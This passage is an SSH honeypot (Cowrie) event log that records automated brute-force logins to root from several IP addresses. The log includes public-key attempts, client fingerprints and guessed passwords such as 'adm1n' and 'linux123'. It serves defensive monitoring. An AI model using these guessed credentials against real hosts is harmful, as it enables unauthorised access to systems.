{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ca:ed:df:bb:c8:42:93:62:20:b7:fa:b5:d0:13:a2:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQD31GhoGMfenLSdkNLubCrkSYQF3+FAlyVkI/1DqY7J8DlZvt6AujeMvQ96t0wvODvOISOM3JR5JFHT/zjvRmyX9UGmbhK9lxTSabWpQd1HyMnD78w+O6NVYewv/pb07avSHsGdo9AxhTrKjq9A77f6iMRrsnd8gyPbGbrdXVLxnbD3b/WrB6X1cTvFvSgKHm/wT8HUrf4WuaHcFnGOK+H3HSCPbvCbdFFaIx1nOHZqpBKJoM3s5ma3rB3Uq+WHskKTO3ruVPVEOSPEEeTzbczMY17XyzZ4KiKV3w6+CQymOEEsZ2XjV8h6dTFs6ubcN4iJ+ou7A4amUtHXLMVzQVYNa6BkvSQHxcVGMz5pmxITrvhvy4u/Oa9hgtOrb5pjpyStBACv5Ifl6X3hZBH2kNxXexDgheGqHQdERfyD9AfrrZMWKhkycx0ODfwECJrIDOfUItCTiWaMzw22g3KN9IsWyQ6HRDCbU+VWUPUXKO2fxvjREwGxsYArWSOcVpZfPVcXOJg0qpu3Rh4HK1QxdNQQbJtBMIhmBuEdI2UdXndePlEck5zM52YWlTEsXyRo5kgbfyt+IavIoxEshR65mnGvZGby+v8cOc0isWxVPrFdXKO5CnuocQWydYckVorlEmbiHfiJDUIVQwYijloep/1+3ZAQIg/PxZHc9/NIPeX2fQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.278444Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:2c:1d:b6:13:96:7a:0a:79:59:77:d9:de:1d:cd:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbGFvjZhsjhLXL+ixLMAprpLd0d1Ts285Yzo9/7eMaTGN4QbqfEYb5v80aNINNug5qWD/fELiGc3y5vbOz+p7BtQ9EEI83J3n0INecnr7O6mlkmnxtuuWAprUbmTV1dJ724worinJddIqE+UHicEaSo1MUuaiWiDfyAiUT9jPoRGz8TYCaj4Wung4rgCLP3BOGxLw6ARZkxtApgorJPqvznCVrATVdAYWuWAB17JGESavh3ehm93Rg1Wfu1GzhdbHSLlt5t12EKaue6snOLoHnoWsWRKHc5CSR5N524HbiMUWNSXvxQbSFeVPNC/wGxQOWs1yJfisWf9fbwdaGbtgB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:2c:1d:b6:13:96:7a:0a:79:59:77:d9:de:1d:cd:98","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.286189Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:2c:1d:b6:13:96:7a:0a:79:59:77:d9:de:1d:cd:98","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbGFvjZhsjhLXL+ixLMAprpLd0d1Ts285Yzo9/7eMaTGN4QbqfEYb5v80aNINNug5qWD/fELiGc3y5vbOz+p7BtQ9EEI83J3n0INecnr7O6mlkmnxtuuWAprUbmTV1dJ724worinJddIqE+UHicEaSo1MUuaiWiDfyAiUT9jPoRGz8TYCaj4Wung4rgCLP3BOGxLw6ARZkxtApgorJPqvznCVrATVdAYWuWAB17JGESavh3ehm93Rg1Wfu1GzhdbHSLlt5t12EKaue6snOLoHnoWsWRKHc5CSR5N524HbiMUWNSXvxQbSFeVPNC/wGxQOWs1yJfisWf9fbwdaGbtgB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.290827Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:01:f4:17:a0:6d:fc:d3:9e:8f:f9:17:8d:d1:93:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHePDHTV5RxUaUjJnY9lWQRjCgZEwP4d4v9oAczaym680ZZqj5pMk6hQ0KCIS33iOROXu1IMrgBa82IC3l19choq+J26hLspqjXbqS5R16uEwuBLfjPjVNRoljIWL8CSAAGY/1SlcIaWUCAshu1GvBR93+cL+nLd9SLPYbl0pn0R+wicVFFYL7pqc78qmQpdSRbOVw8jMKHqUX6fo6tG6gpdW/vbIMI6dinyXLlmKalerLJck4/aSywem1kJJ8VCsyZEgiL6hB37o7GTR0M8ITRLQJvpr1iO5dKiqWSfe9KoZ8agyDoVC2/KbyeZ4XQGUuqm5SfEPDOU7Y4p2Cg4JF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:01:f4:17:a0:6d:fc:d3:9e:8f:f9:17:8d:d1:93:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.298458Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:01:f4:17:a0:6d:fc:d3:9e:8f:f9:17:8d:d1:93:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHePDHTV5RxUaUjJnY9lWQRjCgZEwP4d4v9oAczaym680ZZqj5pMk6hQ0KCIS33iOROXu1IMrgBa82IC3l19choq+J26hLspqjXbqS5R16uEwuBLfjPjVNRoljIWL8CSAAGY/1SlcIaWUCAshu1GvBR93+cL+nLd9SLPYbl0pn0R+wicVFFYL7pqc78qmQpdSRbOVw8jMKHqUX6fo6tG6gpdW/vbIMI6dinyXLlmKalerLJck4/aSywem1kJJ8VCsyZEgiL6hB37o7GTR0M8ITRLQJvpr1iO5dKiqWSfe9KoZ8agyDoVC2/KbyeZ4XQGUuqm5SfEPDOU7Y4p2Cg4JF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.302074Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:26.309072Z","src_ip":"172.93.102.236","session":"e4b239a33b2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":49320,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccaff77268c4","protocol":"ssh","message":"New connection: 2.27.36.16:49320 (159.203.135.109:22) [session: ccaff77268c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:33.027874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:33.032222Z","src_ip":"2.27.36.16","session":"ccaff77268c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:33.136249Z","src_ip":"2.27.36.16","session":"ccaff77268c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123","message":"login attempt [root/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:33.568531Z","src_ip":"2.27.36.16","session":"ccaff77268c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:34.670435Z","src_ip":"2.27.36.16","session":"ccaff77268c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":57514,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdd34c67e381","protocol":"ssh","message":"New connection: 43.135.166.146:57514 (10.17.0.5:22) [session: cdd34c67e381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:50.446031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:50.451111Z","src_ip":"43.135.166.146","session":"cdd34c67e381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:50.519968Z","src_ip":"43.135.166.146","session":"cdd34c67e381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webmaster","message":"login attempt [root/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:50.822917Z","src_ip":"43.135.166.146","session":"cdd34c67e381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:58:51.893886Z","src_ip":"43.135.166.146","session":"cdd34c67e381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":48694,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba0f1889133d","protocol":"ssh","message":"New connection: 163.245.222.56:48694 (159.203.135.109:22) [session: ba0f1889133d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:10.069871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:10.074792Z","src_ip":"163.245.222.56","session":"ba0f1889133d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:10.081560Z","src_ip":"163.245.222.56","session":"ba0f1889133d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adm1n","message":"login attempt [root/adm1n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:10.140126Z","src_ip":"163.245.222.56","session":"ba0f1889133d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:11.149087Z","src_ip":"163.245.222.56","session":"ba0f1889133d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":60702,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba2a22fdea55","protocol":"ssh","message":"New connection: 41.181.156.205:60702 (159.203.135.109:22) [session: ba2a22fdea55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:36.434860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:36.440065Z","src_ip":"41.181.156.205","session":"ba2a22fdea55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:36.723697Z","src_ip":"41.181.156.205","session":"ba2a22fdea55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jack","message":"login attempt [root/jack] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:37.897082Z","src_ip":"41.181.156.205","session":"ba2a22fdea55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:39.146690Z","src_ip":"41.181.156.205","session":"ba2a22fdea55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":46996,"dst_ip":"159.203.135.109","dst_port":22,"session":"4dc22497598d","protocol":"ssh","message":"New connection: 2.27.36.16:46996 (159.203.135.109:22) [session: 4dc22497598d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:54.227390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:54.232605Z","src_ip":"2.27.36.16","session":"4dc22497598d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:54.332706Z","src_ip":"2.27.36.16","session":"4dc22497598d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1230","message":"login attempt [root/1230] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:54.768989Z","src_ip":"2.27.36.16","session":"4dc22497598d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:59:55.873196Z","src_ip":"2.27.36.16","session":"4dc22497598d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":51740,"dst_ip":"10.17.0.5","dst_port":22,"session":"1386a61e33f3","protocol":"ssh","message":"New connection: 43.135.166.146:51740 (10.17.0.5:22) [session: 1386a61e33f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:06.896026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:06.901960Z","src_ip":"43.135.166.146","session":"1386a61e33f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:06.971753Z","src_ip":"43.135.166.146","session":"1386a61e33f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:07.281447Z","src_ip":"43.135.166.146","session":"1386a61e33f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:08.354586Z","src_ip":"43.135.166.146","session":"1386a61e33f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":21538,"dst_ip":"159.203.135.109","dst_port":22,"session":"db7ee9c7e4c9","protocol":"ssh","message":"New connection: 205.254.166.156:21538 (159.203.135.109:22) [session: db7ee9c7e4c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:09.991376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:00:10.010612Z","src_ip":"205.254.166.156","session":"db7ee9c7e4c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 